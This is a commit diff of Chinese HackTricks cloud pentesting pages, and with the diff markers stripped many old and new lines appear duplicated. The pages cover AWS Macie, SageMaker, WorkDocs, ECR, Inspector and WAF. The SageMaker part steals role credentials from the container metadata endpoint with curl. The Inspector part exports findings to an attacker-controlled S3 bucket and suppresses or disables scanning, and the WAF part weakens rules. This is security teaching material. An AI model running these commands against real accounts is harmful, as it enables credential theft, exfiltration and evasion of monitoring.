1. 将一个文件（例如 `test-secret.txt`）上传到包含敏感数据的 S3 桶，例如 AWS 秘密密钥。等待 AWS Macie 扫描并生成发现。
1. 将一个文件（例如 `test-secret.txt`）上传到包含敏感数据的 S3 桶中，例如 AWS 秘钥。等待 AWS Macie 扫描并生成发现。
2. 导航到 AWS Macie 发现，找到生成的发现，并使用 **Reveal Sample** 功能查看检测到的秘密。
3. 从 S3 桶中删除 `test-secret.txt` 并验证它不再存在。
4. 创建一个名为 `test-secret.txt` 的新文件，包含虚拟数据，并使用 **攻击者的账户** 重新上传到同一个 S3 桶。
4. 创建一个名为 `test-secret.txt` 的新文件，包含虚拟数据，并使用 **攻击者的账户** 重新上传到同一个 S3 桶中。
5. 返回 AWS Macie 发现，访问原始发现，并再次点击 **Reveal Sample**。
6. 观察到 Macie 仍然揭示原始秘密，尽管文件已被删除并被不同内容 **替换， 在我们的案例中将是攻击者的账户**。
6. 观察到 Macie 仍然揭示原始秘密，尽管文件已被删除并被不同内容 **从不同账户替换，在我们的案例中将是攻击者的账户**。
**总结：**
此漏洞允许具有足够 AWS IAM 权限的攻击者恢复先前检测到的秘密，即使原始文件已从 S3 中删除。如果 AWS 秘密密钥、访问令牌或其他敏感凭证被暴露，攻击者可以利用此缺陷检索它并获得对 AWS 资源的未经授权访问。这可能导致权限提升、未经授权的数据访问或进一步危害云资产，从而导致数据泄露和服务中断。
此漏洞允许具有足够 AWS IAM 权限的攻击者恢复先前检测到的秘密，即使原始文件已从 S3 中删除。如果 AWS 秘钥、访问令牌或其他敏感凭证被暴露，攻击者可以利用此缺陷检索它并获得对 AWS 资源的未经授权访问。这可能导致权限提升、未经授权的数据访问或进一步危害云资产，从而导致数据泄露和服务中断。
{{#include ../../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
View File

@@ -1,12 +1,14 @@
# AWS - Sagemaker Privesc
## AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AWS - Sagemaker Privesc
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
开始创建一个带有附加的 IAM 角色的笔记本：
开始创建一个与其关联的 IAM 角色访问的笔记本：
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
@@ -17,7 +19,7 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
导航到 URL 并在右上角点击 \`Open JupyterLab\`，然后向下滚动到“Launcher”选项卡，在“Other”部分，点击“Terminal”按钮。
导航到 URL 并在浏览器中点击右上角的 \`Open JupyterLab\`，然后向下滚动到“Launcher”选项卡，在“Other”部分，点击“Terminal”按钮。
现在可以访问 IAM 角色的元数据凭证。
@@ -25,15 +27,15 @@ aws sagemaker create-presigned-notebook-instance-url \
### `sagemaker:CreatePresignedNotebookInstanceUrl`
如果已经有 Jupyter **notebooks 正在运行**，并且您可以通过 `sagemaker:ListNotebookInstances` 列出它们（或以其他方式发现它们）。您可以 **为它们生成一个 URL，访问它们，并窃取凭证，如前面所述的技术所示**。
如果已经在上面运行 Jupyter **notebooks**，并且您可以通过 `sagemaker:ListNotebookInstances` 列出它们（或以其他方式发现它们）。您可以 **为它们生成一个 URL，访问它们，并窃取凭证，如前面所述的技术所示**。
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**潜在影响：** 提权到附加的 sagemaker 服务角色。
**潜在影响：** 提升到附加的 sagemaker 服务角色。
### `sagemaker:CreateProcessingJob,iam:PassRole`
拥有这些权限的攻击者可以使 **sagemaker 执行一个 processingjob**，并附加一个 sagemaker 角色。攻击者可以指示将在 **AWS 管理的 ECS 账户实例** 中运行的容器的定义，并 **窃取附加的 IAM 角色的凭证**。
拥有这些权限的攻击者可以使 **sagemaker 执行一个 processingjob**，并附加一个 sagemaker 角色。攻击者可以指定将在 **AWS 管理的 ECS 账户实例** 中运行的容器的定义，并 **窃取附加的 IAM 角色的凭证**。
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -95,7 +97,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
拥有这些权限的攻击者将（可能）能够创建一个 **超参数训练作业**，**在其上运行任意容器**，并附加一个 **角色**。\
_由于时间不足，我还没有进行利用，但看起来与之前的利用相似，欢迎提交包含利用细节的 PR。_
_我还没有利用这个漏洞，因为时间不够，但看起来与之前的漏洞类似，欢迎提交 PR 以提供利用细节。_
## 参考

11
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
View File

@@ -1,5 +1,7 @@
# AWS - WorkDocs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## WorkDocs
有关 WorkDocs 的更多信息，请查看：
@@ -41,6 +43,11 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
您可以通过将用户设置在 ZOCALO_ADMIN 组中来使其成为管理员。\
为此，请按照 [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) 中的说明进行操作。
使用该用户登录 workdoc，并在 `/workdocs/index.html#/admin` 中访问管理面板。
使用该用户登录 workdoc，并在 `/workdocs/index.html#/admin` 访问管理面板。
我没有找到通过 cli 执行此操作的方法。
我没有找到任何通过 CLI 执行此操作的方法。
{{#include ../../../banners/hacktricks-training.md}}

24
src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
View File

@@ -1,12 +1,10 @@
# AWS - ECR Enum
## AWS - ECR Enum
{{#include ../../../banners/hacktricks-training.md}}
### ECR
## ECR
#### 基本信息
### 基本信息
Amazon **Elastic Container Registry** (Amazon ECR) 是一个 **托管的容器镜像注册服务**。它旨在提供一个环境，客户可以使用众所周知的接口与他们的容器镜像进行交互。具体来说，支持使用 Docker CLI 或任何首选客户端，进行推送、拉取和管理容器镜像等活动。
@@ -18,13 +16,13 @@ ECR 由两种类型的对象组成：**注册表**和**仓库**。
1. **私有注册表**：
- **默认私有**：存储在 Amazon ECR 私有注册表中的容器镜像 **仅对您 AWS 账户内的授权用户可访问**，或对那些被授予权限的用户可访问。
- **默认私有**：存储在 Amazon ECR 私有注册表中的容器镜像 **仅对您 AWS 账户内的授权用户** 或已获得权限的用户可访问。
- **私有仓库**的 URI 格式为 `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
- **访问控制**：您可以使用 **IAM 策略**来 **控制对私有容器镜像的访问**，并可以根据用户或角色配置细粒度权限。
- **与 AWS 服务的集成**：Amazon ECR 私有注册表可以轻松 **与其他 AWS 服务集成**，如 EKS、ECS...
- **其他私有注册表选项**：
- 标签不可变性列显示其状态，如果启用了标签不可变性，它将 **防止** 使用 **已存在标签** 的镜像 **推送** 覆盖镜像。
- **加密类型**列列出仓库的加密属性，显示默认的加密类型，如 AES-256，或启用了 **KMS** 加密。
- **加密类型**列列出仓库的加密属性，显示默认加密类型，如 AES-256，或启用了 **KMS** 加密。
- **拉取缓存**列显示其状态，如果拉取缓存状态为活动，它将把 **外部公共仓库中的仓库缓存到您的私有仓库**。
- 可以配置特定的 **IAM 策略** 来授予不同的 **权限**。
- **扫描配置**允许扫描存储在仓库中的镜像中的漏洞。
@@ -32,11 +30,11 @@ ECR 由两种类型的对象组成：**注册表**和**仓库**。
2. **公共注册表**：
- **公共可访问性**：存储在 ECR 公共注册表中的容器镜像 **对互联网上的任何人可访问，无需身份验证**。
- **公共仓库**的 URI 类似于 `public.ecr.aws/<random>/<name>`。虽然 `<random>` 部分可以由管理员更改为更容易记住的字符串。
- **公共仓库**的 URI 类似于 `public.ecr.aws/<random>/<name>`。虽然 `<random>` 部分可以由管理员更改为更易记的字符串。
**仓库**
这些是 **私有注册表**或 **公共** 注册表中的 **镜像**。
这些是 **私有注册表** 或 **公共注册表** 中的 **镜像**。
> [!NOTE]
> 请注意，为了将镜像上传到仓库，**ECR 仓库需要与镜像同名**。
@@ -47,7 +45,7 @@ ECR 由两种类型的对象组成：**注册表**和**仓库**。
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
#### 枚举
### 枚举
```bash
# Get repos
aws ecr describe-repositories
@@ -67,13 +65,13 @@ aws ecr-public describe-repositories
aws ecr get-registry-policy
aws ecr get-repository-policy --repository-name <repo_name>
```
#### 未认证枚举
### 未认证枚举
{{#ref}}
../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
{{#endref}}
#### 权限提升
### 权限提升
在以下页面中，您可以查看如何**滥用 ECR 权限以提升权限**：
@@ -81,13 +79,13 @@ aws ecr get-repository-policy --repository-name <repo_name>
../aws-privilege-escalation/aws-ecr-privesc.md
{{#endref}}
#### 后期利用
### 后期利用
{{#ref}}
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
#### 持久性
### 持久性
{{#ref}}
../aws-persistence/aws-ecr-persistence.md

2
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
View File

@@ -1 +1,3 @@
# AWS - 安全与检测服务
{{#include ../../../../banners/hacktricks-training.md}}

56
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
View File

@@ -1,10 +1,8 @@
# AWS - Inspector Enum
## AWS - Inspector Enum
{{#include ../../../../banners/hacktricks-training.md}}
### Inspector
## Inspector
Amazon Inspector 是一项先进的自动化漏洞管理服务，旨在增强您的 AWS 环境的安全性。该服务持续扫描 Amazon EC2 实例、Amazon ECR 中的容器镜像、Amazon ECS 和 AWS Lambda 函数，以查找漏洞和意外的网络暴露。通过利用强大的漏洞情报数据库，Amazon Inspector 提供详细的发现，包括严重性级别和修复建议，帮助组织主动识别和解决安全风险。这种全面的方法确保了在各种 AWS 服务中强化的安全态势，有助于合规性和风险管理。
@@ -14,15 +12,15 @@ Amazon Inspector 是一项先进的自动化漏洞管理服务，旨在增强您
Amazon Inspector 中的发现是关于在 EC2 实例、ECR 存储库或 Lambda 函数扫描过程中发现的漏洞和暴露的详细报告。根据其状态，发现被分类为：
- **Active**: 发现尚未修复。
- **Closed**: 发现已被修复。
- **Suppressed**: 由于一个或多个 **suppression rules**，发现被标记为此状态。
- **Active**: 该发现尚未修复。
- **Closed**: 该发现已被修复。
- **Suppressed**: 该发现因一个或多个 **suppression rules** 被标记为此状态。
发现还被分类为以下三种类型：
- **Package**: 这些发现与安装在您资源上的软件包中的漏洞有关。示例包括过时的库或具有已知安全问题的依赖项。
- **Code**: 此类别包括在运行于您 AWS 资源上的应用程序代码中发现的漏洞。常见问题是编码错误或不安全的做法，可能导致安全漏洞。
- **Network**: 网络发现识别网络配置中的潜在暴露，攻击者可能会利用这些暴露。这些包括开放端口、不安全的网络协议和配置错误的安全组。
- **Network**: 网络发现识别网络配置中可能被攻击者利用的潜在暴露。这些包括开放端口、不安全的网络协议和配置错误的安全组。
#### Filters and Suppression Rules
@@ -36,13 +34,13 @@ Amazon Inspector 中的软件材料清单 (SBOM) 是一个可导出的嵌套库
#### Export findings
Amazon Inspector 提供将发现导出到 Amazon S3 Buckets、Amazon EventBridge 和 AWS Security Hub 的能力，使您能够生成已识别漏洞和暴露的详细报告，以便在特定日期和时间进行进一步分析或共享。此功能支持多种输出格式，如 CSV 和 JSON，使其更易于与其他工具和系统集成。导出功能允许自定义报告中包含的数据，使您能够根据特定标准（如严重性、资源类型或日期范围）过滤发现，并默认包括您当前 AWS 区域中所有处于活动状态的发现。
Amazon Inspector 提供将发现导出到 Amazon S3 Buckets、Amazon EventBridge 和 AWS Security Hub 的功能，使您能够生成已识别漏洞和暴露的详细报告，以便在特定日期和时间进行进一步分析或共享。此功能支持多种输出格式，如 CSV 和 JSON，使其更易于与其他工具和系统集成。导出功能允许自定义报告中包含的数据，使您能够根据特定标准（如严重性、资源类型或日期范围）过滤发现，并默认包含您当前 AWS 区域中所有状态为 Active 的发现。
导出发现时，需要一个密钥管理服务 (KMS) 密钥来加密导出过程中的数据。KMS 密钥确保导出的发现受到保护，防止未经授权的访问，为敏感漏洞信息提供额外的安全层。
#### Amazon EC2 instances scanning
Amazon Inspector 提供强大的扫描能力，用于检测 Amazon EC2 实例中的漏洞和安全问题。Inspector 将提取的 EC2 实例元数据与安全建议中的规则进行比较，以生成软件包漏洞和网络可达性问题。这些扫描可以通过 **agent-based** 或 **agentless** 方法执行，具体取决于您帐户的 **scan mode** 设置配置。
Amazon Inspector 提供强大的扫描功能，用于检测 Amazon EC2 实例中的漏洞和安全问题。Inspector 将提取的 EC2 实例元数据与安全建议中的规则进行比较，以生成软件包漏洞和网络可达性问题。这些扫描可以通过 **agent-based** 或 **agentless** 方法执行，具体取决于您帐户的 **scan mode** 设置配置。
- **Agent-Based**: 利用 AWS Systems Manager (SSM) 代理进行深入扫描。此方法允许直接从实例进行全面的数据收集和分析。
- **Agentless**: 提供一种轻量级替代方案，无需在实例上安装代理，创建 EC2 实例每个卷的 EBS 快照，查找漏洞，然后删除它；利用现有的 AWS 基础设施进行扫描。
@@ -50,7 +48,7 @@ Amazon Inspector 提供强大的扫描能力，用于检测 Amazon EC2 实例中
扫描模式决定将使用哪种方法执行 EC2 扫描：
- **Agent-Based**: 涉及在 EC2 实例上安装 SSM 代理以进行深度检查。
- **Hybrid Scanning**: 结合了基于代理和无代理的方法，以最大化覆盖范围并最小化性能影响。在安装了 SSM 代理的 EC2 实例中，Inspector 将执行基于代理的扫描，而在没有 SSM 代理的实例中，执行的扫描将是无代理的。
- **Hybrid Scanning**: 结合了基于代理和无代理的方法，以最大化覆盖率并最小化性能影响。在安装了 SSM 代理的 EC2 实例中，Inspector 将执行基于代理的扫描，而在没有 SSM 代理的实例中，执行的扫描将是无代理的。
另一个重要特性是对 EC2 Linux 实例的 **deep inspection**。此功能提供对 EC2 Linux 实例的软件和配置的全面分析，提供详细的漏洞评估，包括操作系统漏洞、应用程序漏洞和配置错误，确保全面的安全评估。这是通过检查 **custom paths** 及其所有子目录实现的。默认情况下，Amazon Inspector 将扫描以下路径，但每个成员帐户可以定义最多 5 个自定义路径，每个委派管理员最多 10 个：
@@ -61,25 +59,25 @@ Amazon Inspector 提供强大的扫描能力，用于检测 Amazon EC2 实例中
#### Amazon ECR container images scanning
Amazon Inspector 提供强大的扫描能力，用于 Amazon Elastic Container Registry (ECR) 容器镜像，确保有效检测和管理软件包漏洞。
Amazon Inspector 提供强大的扫描功能，用于 Amazon Elastic Container Registry (ECR) 容器镜像，确保有效检测和管理软件包漏洞。
- **Basic Scanning**: 这是一个快速且轻量级的扫描，使用来自开源 Clair 项目的标准规则识别容器镜像中的已知操作系统软件包漏洞。使用此扫描配置，您的存储库将在推送时扫描，或执行手动扫描。
- **Enhanced Scanning**: 此选项在推送扫描的基础上增加了持续扫描功能。增强扫描深入到每个容器镜像的层中，以更高的准确性识别操作系统软件包和编程语言软件包中的漏洞。它分析基础镜像和任何附加层，提供潜在安全问题的全面视图。
- **Enhanced Scanning**: 此选项在推送扫描的基础上增加了持续扫描功能。增强扫描深入每个容器镜像的层，以更高的准确性识别操作系统软件包和编程语言软件包中的漏洞。它分析基础镜像和任何附加层，提供潜在安全问题的全面视图。
#### Amazon Lambda functions scanning
Amazon Inspector 包括对 AWS Lambda 函数及其层的全面扫描能力，确保无服务器应用程序的安全性和完整性。Inspector 为 Lambda 函数提供两种类型的扫描：
- **Lambda standard scanning**: 此默认功能识别添加到您的 Lambda 函数和层中的应用程序包依赖项中的软件漏洞。例如，如果您的函数使用了一个已知漏洞的库版本，如 python-jwt，它会生成一个发现。
- **Lambda code scanning**: 分析自定义应用程序代码中的安全问题，检测诸如注入缺陷、数据泄漏、弱加密和缺失加密等漏洞。它捕获突出显示检测到的漏洞的代码片段，例如硬编码凭据。发现包括详细的修复建议和修复问题的代码片段。
- **Lambda standard scanning**: 此默认功能识别添加到您的 Lambda 函数和层中的应用程序包依赖项中的软件漏洞。例如，如果您的函数使用了一个具有已知漏洞的库版本，如 python-jwt，它会生成一个发现。
- **Lambda code scanning**: 分析自定义应用程序代码中的安全问题，检测诸如注入缺陷、数据泄露、弱加密和缺失加密等漏洞。它捕获突出显示检测到的漏洞的代码片段，例如硬编码凭据。发现包括详细的修复建议和修复问题的代码片段。
#### **Center for Internet Security (CIS) scans**
Amazon Inspector 包括 CIS 扫描，以基准 Amazon EC2 实例操作系统与来自互联网安全中心 (CIS) 的最佳实践建议。这些扫描确保配置符合行业标准的安全基线。
Amazon Inspector 包括 CIS 扫描，以根据互联网安全中心 (CIS) 的最佳实践建议对 Amazon EC2 实例操作系统进行基准测试。这些扫描确保配置符合行业标准的安全基线。
- **Configuration**: CIS 扫描评估系统配置是否符合特定的 CIS 基准建议，每个检查都链接到一个 CIS 检查 ID 和标题。
- **Execution**: 扫描根据实例标签和定义的计划执行或安排。
- **Results**: 扫描后的结果指示哪些检查通过、跳过或失败，提供每个实例安全态势的洞察。
- **Results**: 扫描后的结果指示哪些检查通过、跳过或失败，提供每个实例的安全态势洞察。
### Enumeration
```bash
@@ -187,7 +185,7 @@ aws inspector list-rules-packages
> [!TIP]
> 从攻击者的角度来看，这项服务可以帮助攻击者找到可能帮助他攻陷其他实例/容器的漏洞和网络暴露。
>
> 然而，攻击者也可能对破坏这项服务感兴趣，以便受害者无法看到漏洞（所有或特定的漏洞）。
> 然而，攻击者也可能对干扰此服务感兴趣，以便受害者无法看到漏洞（所有或特定的漏洞）。
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
@@ -198,7 +196,7 @@ aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destinat
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
```
以下示例演示了如何将所有活动发现从 Amazon Inspector 导出到攻击者控制的 Amazon S3 Bucket，并使用攻击者控制的 Amazon KMS 密钥：
以下示例展示了如何将所有活动发现从 Amazon Inspector 导出到攻击者控制的 Amazon S3 Bucket，并使用攻击者控制的 Amazon KMS 密钥：
1. **创建一个 Amazon S3 Bucket** 并附加一个策略，以便从受害者的 Amazon Inspector 访问：
```json
@@ -257,11 +255,11 @@ aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s
]
}
```
3. 执行命令以**创建发现报告**并将其导出：
3. 执行命令以**创建发现报告**并将其外泄：
```bash
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
```
- **潜在影响**：生成和外泄详细的漏洞和软件报告，获取特定漏洞和安全弱点的见解。
- **潜在影响**: 生成和外泄详细的漏洞和软件报告，获取特定漏洞和安全弱点的见解。
#### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
@@ -272,11 +270,11 @@ aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
```
- **潜在影响**: 中断安全监控，阻止及时检测和修复安全问题。
- **潜在影响**: 破坏安全监控，阻碍及时发现和修复安全问题。
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
拥有这些权限的攻击者将能够操纵过滤规则，这些规则决定了哪些漏洞和安全问题被报告或抑制（如果**action**设置为SUPPRESS，将创建一个抑制规则）。这可能会使安全管理员无法看到关键漏洞，从而更容易在未被检测的情况下利用这些弱点。通过更改或删除重要过滤器，攻击者还可以通过向系统发送无关的发现来制造噪音，从而妨碍有效的安全监控和响应。
拥有这些权限的攻击者将能够操纵过滤规则，以决定哪些漏洞和安全问题被报告或抑制（如果**action**设置为SUPPRESS，将创建一个抑制规则）。这可能会使安全管理员无法看到关键漏洞，从而更容易在不被发现的情况下利用这些弱点。通过更改或删除重要过滤器，攻击者还可以通过向系统发送无关的发现来制造噪音，从而妨碍有效的安全监控和响应。
```bash
# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
@@ -285,7 +283,7 @@ aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [
# Delete
aws inspector2 delete-filter --arn <value>
```
- **潜在影响**：隐瞒或抑制关键漏洞，或用无关的发现淹没系统。
- **潜在影响**：隐瞒或压制关键漏洞，或用无关的发现淹没系统。
#### `inspector2:DisableDelegatedAdminAccount`，(`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`)
@@ -308,7 +306,7 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <valu
#### `inspector2:AssociateMember`, `inspector2:DisassociateMember`
攻击者可以操纵Amazon Inspector组织内成员账户的关联。通过关联未经授权的账户或取消合法账户的关联，攻击者可以控制哪些账户包含在安全扫描和报告中。这可能导致关键账户被排除在安全监控之外，使攻击者能够在不被检测的情况下利用这些账户中的漏洞。
攻击者可以操纵Amazon Inspector组织内成员账户的关联。通过关联未经授权的账户或取消合法账户的关联，攻击者可以控制哪些账户被纳入安全扫描和报告。这可能导致关键账户被排除在安全监控之外，使攻击者能够在不被发现的情况下利用这些账户中的漏洞。
> [!WARNING]
> 此操作需要由委派的管理员执行。
@@ -318,11 +316,11 @@ aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
```
- **潜在影响**: 将关键账户排除在安全扫描之外，使得漏洞的未被检测到的利用成为可能。
- **潜在影响**: 将关键账户排除在安全扫描之外，使得漏洞的利用未被检测到。
#### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
拥有 `inspector2:Disable` 权限的攻击者将能够在指定账户上禁用特定资源类型（EC2, ECR, Lambda, Lambda 代码）的安全扫描，从而使 AWS 环境的部分区域未被监控并易受攻击。此外，由于拥有 **`inspector2:Enable`** 和 **`iam:CreateServiceLinkedRole`** 权限，攻击者可以选择性地重新启用扫描，以避免检测到可疑配置。
拥有 `inspector2:Disable` 权限的攻击者将能够在指定账户上禁用特定资源类型（EC2, ECR, Lambda, Lambda 代码）的安全扫描，从而使 AWS 环境的部分区域未被监控并易受攻击。此外，凭借 **`inspector2:Enable`** 和 **`iam:CreateServiceLinkedRole`** 权限，攻击者可以选择性地重新启用扫描，以避免检测到可疑配置。
> [!WARNING]
> 此操作需要由委派的管理员执行。
@@ -336,10 +334,10 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco
#### `inspector2:UpdateOrganizationConfiguration`
具有此权限的攻击者将能够更新您 Amazon Inspector 组织的配置，从而影响为新成员帐户启用的默认扫描功能。
拥有此权限的攻击者将能够更新您 Amazon Inspector 组织的配置，影响为新成员账户启用的默认扫描功能。
> [!WARNING]
> 此操作需要由委派的管理员执行。
> 此操作需要由委派管理员执行。
```bash
aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
```
@@ -352,7 +350,7 @@ aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,e
aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
```
- **潜在影响**：隐藏漏洞、干扰合规报告、干扰安全自动化和干扰成本分配。
- **潜在影响**: 隐藏漏洞、干扰合规报告、干扰安全自动化和干扰成本分配。
## 参考文献

6
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
View File

@@ -1,7 +1,5 @@
# AWS - Trusted Advisor Enum
## AWS - Trusted Advisor Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS Trusted Advisor 概述
@@ -18,8 +16,8 @@ Trusted Advisor 的全面功能仅在 **AWS 商业或企业支持计划** 下可
### 通知和数据刷新
- Trusted Advisor 可以发出警报。
- 项目可以从其检查中排除。
- 数据每 24 小时刷新一次。然而，在上次刷新后 5 分钟内可以手动刷新。
- 可以将项目排除在其检查之外。
- 数据每 24 小时刷新一次。然而，在上次刷新后 5 分钟可以手动刷新。
### **检查细分**

54
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
View File

@@ -1,7 +1,5 @@
# AWS - WAF Enum
## AWS - WAF Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS WAF
@@ -25,7 +23,7 @@ Web ACL 是一组规则的集合，您可以将其应用于您的 Web 应用程
规则定义了一组条件，AWS WAF 用于检查传入的 Web 请求。主要有两种类型的规则：
1. **常规规则**：此规则类型使用指定的条件来确定是否允许、阻止或计数 Web 请求。
2. **基于速率的规则**：在五分钟内计算来自特定 IP 地址的请求。在这里，用户定义一个阈值，如果来自某个 IP 的请求数量在五分钟内超过此限制，则该 IP 的后续请求将被阻止，直到请求速率降至阈值以下。基于速率的规则的最小阈值为 **2000 请求**。
2. **基于速率的规则**：在五分钟内计算来自特定 IP 地址的请求。在这里，用户定义一个阈值，如果来自某个 IP 的请求数量在五分钟内超过此限制，则该 IP 的后续请求将被阻止，直到请求速率降至阈值以下。基于速率的规则的最小阈值为 **2000 个请求**。
#### 管理规则
@@ -41,7 +39,7 @@ IP 集是您希望允许或阻止的 IP 地址或 IP 地址范围的列表。IP
#### 锁定令牌
锁定令牌用于在更新 WAF 资源时进行并发控制。它确保更改不会被多个用户或进程同时尝试更新同一资源而意外覆盖。
锁定令牌用于在更新 WAF 资源时进行并发控制。它确保更改不会被多个用户或进程意外覆盖，这些用户或进程试图同时更新同一资源。
#### API 密钥
@@ -69,24 +67,24 @@ AWS WAF 中的范围参数指定 WAF 规则和配置是否适用于区域应用
每个 AWS 账户可以配置：
- 每种类型 **100 个条件**（正则表达式除外，正则表达式仅允许 **10 个条件**，但此限制可以增加）。
- **100 条规则** 和 **50 个 Web ACL**。
- 最多 **5 条基于速率的规则**。
- 当 WAF 与应用程序负载均衡器一起实施时，吞吐量为 **每秒 10,000 个请求**。
- **100 个规则** 和 **50 个 Web ACL**。
- 最多 **5 个基于速率的规则**。
- 当 WAF 与应用程序负载均衡器一起实施时，最大吞吐量为 **每秒 10,000 个请求**。
#### 规则操作
每条规则分配操作，选项包括：
每个规则分配操作，选项包括：
- **允许**：请求被转发到适当的 CloudFront 分发或应用程序负载均衡器。
- **阻止**：请求立即终止。
- **计数**：统计符合规则条件的请求。这对于规则测试很有用，可以在将其设置为允许或阻止之前确认规则的准确性。
- **CAPTCHA 和挑战**：通过 CAPTCHA 谜题和静默挑战验证请求是否来自机器人。
如果请求与 Web ACL 中的任何规则不匹配，则会执行 **默认操作**（允许或阻止）。规则执行的顺序在 Web ACL 中定义，至关重要，通常遵循以下顺序：
如果请求与 Web ACL 中的任何规则不匹配，则会执行 **默认操作**（允许或阻止）。规则执行的顺序在 Web ACL 中定义，这一点至关重要，通常遵循以下顺序：
1. 允许白名单 IP。
2. 阻止黑名单 IP。
3. 阻止与任何有害签名匹配的请求。
3. 阻止匹配任何有害签名的请求。
#### CloudWatch 集成
@@ -94,7 +92,7 @@ AWS WAF 与 CloudWatch 集成以进行监控，提供如 AllowedRequests、Block
### 枚举
为了与 CloudFront 分发进行交互，您必须指定区域 US East（N. Virginia）：
为了与 CloudFront 分发进行交互，您必须指定区域 US East (N. Virginia)：
- CLI - 在使用 CloudFront 范围时指定区域 US East：`--scope CLOUDFRONT --region=us-east-1`。
- API 和 SDK - 对于所有调用，使用区域端点 us-east-1。
@@ -185,21 +183,21 @@ aws wafv2 list-mobile-sdk-releases --platform <IOS | ANDROID>
aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
```
### 后期利用 / 绕过
### Post Exploitation / Bypass
> [!TIP]
> 从攻击者的角度来看，这项服务可以帮助攻击者识别 WAF 保护和网络暴露，这可能帮助他攻陷其他网站。
> 从攻击者的角度来看，这项服务可以帮助攻击者识别WAF保护和网络暴露，这可能帮助他攻陷其他网站。
>
> 然而，攻击者也可能对干扰这项服务感兴趣，以便网站不受 WAF 保护。
> 然而，攻击者也可能对破坏这项服务感兴趣，以便网站不再受到WAF的保护。
在许多删除和更新操作中，提供 **lock token** 是必要的。此令牌用于对资源进行并发控制，确保更改不会被多个用户或进程意外覆盖，这些用户或进程试图同时更新同一资源。为了获得此令牌，您可以对特定资源执行相应的 **list** 或 **get** 操作。
在许多删除和更新操作中，必须提供**锁定令牌**。该令牌用于对资源进行并发控制，确保更改不会被多个用户或进程意外覆盖，这些用户或进程试图同时更新同一资源。为了获得此令牌，您可以对特定资源执行相应的**列出**或**获取**操作。
#### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
攻击者将能够通过以下方式危害受影响资源的安全性：
- 创建规则组，例如，可以阻止来自合法 IP 地址的合法流量，从而导致服务拒绝。
- 更新规则组，能够将其操作从 **Block** 修改为 **Allow**。
- 创建规则组，例如，可以阻止来自合法IP地址的合法流量，从而导致服务拒绝。
- 更新规则组，能够修改其操作，例如从**阻止**更改为**允许**。
- 删除提供关键安全措施的规则组。
```bash
# Create Rule Group
@@ -244,7 +242,7 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi
拥有这些权限，攻击者将能够：
- 创建一个新的 Web ACL，引入允许恶意流量通过或阻止合法流量的规则，从而有效地使 WAF 无效或导致服务拒绝。
- 更新现有的 Web ACL，能够修改规则以允许之前被阻止的攻击，如 SQL 注入或跨站脚本，或通过阻止有效请求来干扰正常的流量流动。
